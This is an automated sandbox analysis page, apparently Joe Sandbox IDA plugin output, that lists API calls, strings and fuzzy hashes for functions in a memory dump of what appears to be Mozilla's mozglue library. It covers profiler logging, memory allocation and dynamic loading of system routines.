String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction ID: c3c579bf121b4f29216cc944803579b568ea5ae6b2b9047ff900d25c0825af38
Opcode Fuzzy Hash: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction Fuzzy Hash: 82F0B4752002059FDB006F669C8895E77BDEFCA29EF010415FA0583706CF31A801876E

Function 6C660E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C660DF8), ref: 6C660E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C660EA1
__Init_thread_footer.LIBCMT ref: 6C660EB5
FreeLibrary.KERNEL32 ref: 6C660EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C660E9B
kernel32.dll, xrefs: 6C660E7D

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: e11fd40302de7fece80d3faaaf52c34881f3f9f852b453f3802d9b70b70de60d
Instruction ID: 04721a74647996172587f100570ada726f5cd43541baddcb8b94d007b7167caf
Opcode Fuzzy Hash: e11fd40302de7fece80d3faaaf52c34881f3f9f852b453f3802d9b70b70de60d
Instruction Fuzzy Hash: 720146747003928BDF008FABEA94BE233B5E746759F104525EA0182F84DB74B406CA1F

Function 6C69F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C69F598), ref: 6C69F621

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F637
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F645
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C69F62A

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: ac30b7a3da0f63cb2ecde626f544fcda8337d725f7d8c642dc04f256e4dc61ae
Instruction ID: 0ca6b029334713368cae37ce8458285ea3134e2d024130434b58c9ec30fc0ab5
Opcode Fuzzy Hash: ac30b7a3da0f63cb2ecde626f544fcda8337d725f7d8c642dc04f256e4dc61ae
Instruction Fuzzy Hash: FFF05475200205AFDF006F668C8895A777DEFCA29DF150415FA0583746DB756806876E

Function 6C6905F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C68CFAE,?,?,?,6C6531A7), ref: 6C6905FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C68CFAE,?,?,?,6C6531A7), ref: 6C690616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C6531A7), ref: 6C69061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C6531A7), ref: 6C690627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C69061B, 6C690625
<jemalloc>, xrefs: 6C6905FA, 6C69060F

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction ID: 48e1536f2f0669c544160619b682af56469d35fc0a8b4f871b052f5e726b8a34
Opcode Fuzzy Hash: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction Fuzzy Hash: 69E08CE2A0101037F6142256BC86DBB761CDBC6134F080039FE0E83341E94ABD1A51FB

Function 6C6605F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction ID: 5d20436572da2bca74fa40327ce16ae1097bfe10773e91a6ef8623a71e3834a3
Opcode Fuzzy Hash: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction Fuzzy Hash: 8AA15AB0A016458FDB24CF2AC594A99FBF1BF49304F44866ED44A97B00E731BA85CF99

Function 6C6B14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6B14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6B14E2
GetCurrentThreadId.KERNEL32 ref: 6C6B1546
InitializeConditionVariable.KERNEL32(?), ref: 6C6B15BA
free.MOZGLUE(?), ref: 6C6B16B4

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction ID: aba4de780e88ec0fbd8ae92ed5aa9381c591fd8fdf4d159ca99d83c8d4769e11
Opcode Fuzzy Hash: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction Fuzzy Hash: 2361F572A007009BDB118F25C880BDEB7B5BF8A308F04851DED8A67711EB31E955CB99

Function 6C6ADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6ADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C6AD38A,?), ref: 6C6ADC6F
free.MOZGLUE(?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C6AD38A,?), ref: 6C6ADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C6AD38A,?), ref: 6C6ADD4A

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction ID: bcadd9162a49f29ceb0e17f71bb7541758fe66ea6d43d186fbb7bff36c009d76
Opcode Fuzzy Hash: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction Fuzzy Hash: 24416BB5A00605DFCB00CF99C88099AB7F5FF89314B654569DE46ABB11D771FC02CB98

Function 6C68F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C68F480

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

CloseHandle.KERNEL32(00000000), ref: 6C68F555

Part of subcall function 6C6614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C661248,6C661248,?), ref: 6C6614C9
Part of subcall function 6C6614B0: memcpy.VCRUNTIME140(?,6C661248,00000000,?,6C661248,?), ref: 6C6614EF

Part of subcall function 6C65EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C65EEE3

CreateFileW.KERNEL32 ref: 6C68F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C68F523

Strings

\oleacc.dll, xrefs: 6C68F4CB

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction ID: 0d1bc788e9566150df40bd87b32a434fe4a46e126bf0021ca286a0276173a7db
Opcode Fuzzy Hash: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction Fuzzy Hash: 4541BF706097109FE720DF29D884A9BB7F4AF95318F504A1CF59083690EB70E949CBAB

Function 6C6B74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C6B7526
__Init_thread_footer.LIBCMT ref: 6C6B7566
__Init_thread_footer.LIBCMT ref: 6C6B7597

Strings

kernel32.dll, xrefs: 6C6B7557
UnmapViewOfFile2, xrefs: 6C6B7552

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction ID: 70c3812f21271e644d1c9f7080f2d601ef814584af8e9d41c780a69cb21825ee
Opcode Fuzzy Hash: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction Fuzzy Hash: 1621373270150197CB248FEAD894ED973B5EB87725F054529E80167B80DB31B9118BBF

Function 6C6BC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6BC0E9), ref: 6C6BC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C6BC437
FreeLibrary.KERNEL32(?,6C6BC0E9), ref: 6C6BC44C

Strings

ntdll.dll, xrefs: 6C6BC413
NtQueryVirtualMemory, xrefs: 6C6BC431

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction ID: 0baf2aa69d8cf0f9d1a80e002f6a0c30601aa36f70604daba40d504ae963cc98
Opcode Fuzzy Hash: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction Fuzzy Hash: 14E0B670B01302ABDF007F73C9887127BF8AB46745F044516AB0592614EBB0F652CB5F

Function 6C6B75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6B748B,?), ref: 6C6B75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6B75D7
FreeLibrary.KERNEL32(?,6C6B748B,?), ref: 6C6B75EC

Strings

RtlNtStatusToDosError, xrefs: 6C6B75D1
ntdll.dll, xrefs: 6C6B75B3

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 0ed2408e784dd703723be8bc13cc7e9168facbfe92853743f00b8c28fd63a019
Instruction ID: 599b689ad59f66e73d5d34581d44cd022478ec4cd9cadc224c2f026cf24e048d
Opcode Fuzzy Hash: 0ed2408e784dd703723be8bc13cc7e9168facbfe92853743f00b8c28fd63a019
Instruction Fuzzy Hash: 8FE0B671600302ABEF006FE3E9C87817AF8EB46359F108425AA15D6650EFB0B452CF5E

Function 6C6B7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6B7592), ref: 6C6B7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C6B7627
FreeLibrary.KERNEL32(?,6C6B7592), ref: 6C6B763C

Strings

ntdll.dll, xrefs: 6C6B7603
NtUnmapViewOfSection, xrefs: 6C6B7621

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: aff42ef36585dfbf2b3ffed05fcd9c9d21b389548d503c9e2ccb9ff195cd6380
Instruction ID: 4077c0c34e0e82244b259c34acabfe4733f0336438e9aebffaac6e4d6d13d704
Opcode Fuzzy Hash: aff42ef36585dfbf2b3ffed05fcd9c9d21b389548d503c9e2ccb9ff195cd6380
Instruction Fuzzy Hash: 67E0B6B0600342ABDF106FA7E8887817AB8EB5A399F014515EA05D2750EBB1B4119F5E

Function 6C6BBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C6BBE49), ref: 6C6BBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C6BBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C6BBE49), ref: 6C6BBF38
RtlReAllocateHeap.NTDLL ref: 6C6BBF83
RtlFreeHeap.NTDLL(6C6BBE49,00000000), ref: 6C6BBFA6

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: aa7aa61b06619e0ee9a99d85cb4b4e8ec3ed49fbb90f089a08a381adfc3eb9a2
Instruction ID: 41be5e43559ec2933148f037eb97a796bf2ada86dae306781c2001eb55ed4b4d
Opcode Fuzzy Hash: aa7aa61b06619e0ee9a99d85cb4b4e8ec3ed49fbb90f089a08a381adfc3eb9a2
Instruction Fuzzy Hash: 62517D71B002058FE714CF69CDC0BAAB7A6FFC9314F294629D516A7B94D730F9168B84

Function 6C6A8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8EBF
free.MOZGLUE(?,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8F46
free.MOZGLUE(?,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F8F

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 2d5529b490a9ed527ba4d6f3c07105a9ef5ca3ad7d3b13a1296e15702832f637
Instruction ID: 5c8095c7e4d8c3f82490520348ed4036927259d6491a6e53044fc4a20779ecf9
Opcode Fuzzy Hash: 2d5529b490a9ed527ba4d6f3c07105a9ef5ca3ad7d3b13a1296e15702832f637
Instruction Fuzzy Hash: 8251C2B1A012568FEB10CFA4D88066EB7B2FF4D348F15046AD916AB750E731FD06CB99

Function 6C654DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C654EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C654F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C654F1E

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction ID: fa9019ae94530c368e15ab28f76c0ca6e05641a3aa38c6ac439540feb09e902e
Opcode Fuzzy Hash: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction Fuzzy Hash: 8C41F0716087019FC701CF29C8809ABB7E4BF8A344F608A5DF56687640DBB1E935CB85

Function 6C661530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C66159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615BC
moz_xmalloc.MOZGLUE(-00000001,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615E7
free.MOZGLUE(?,?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661637

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction ID: d01c86a85d46c23a7c691215a81a34074b03034866677b6b18a6f6f243d40b0c
Opcode Fuzzy Hash: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction Fuzzy Hash: 9C31EAB1A001149BCB148E7DD8514AEB7A5FB823647240B2DE423DBFD4EB30D915879B

Function 6C6BAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAD9D

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE01
GetLastError.KERNEL32(?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE3D

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
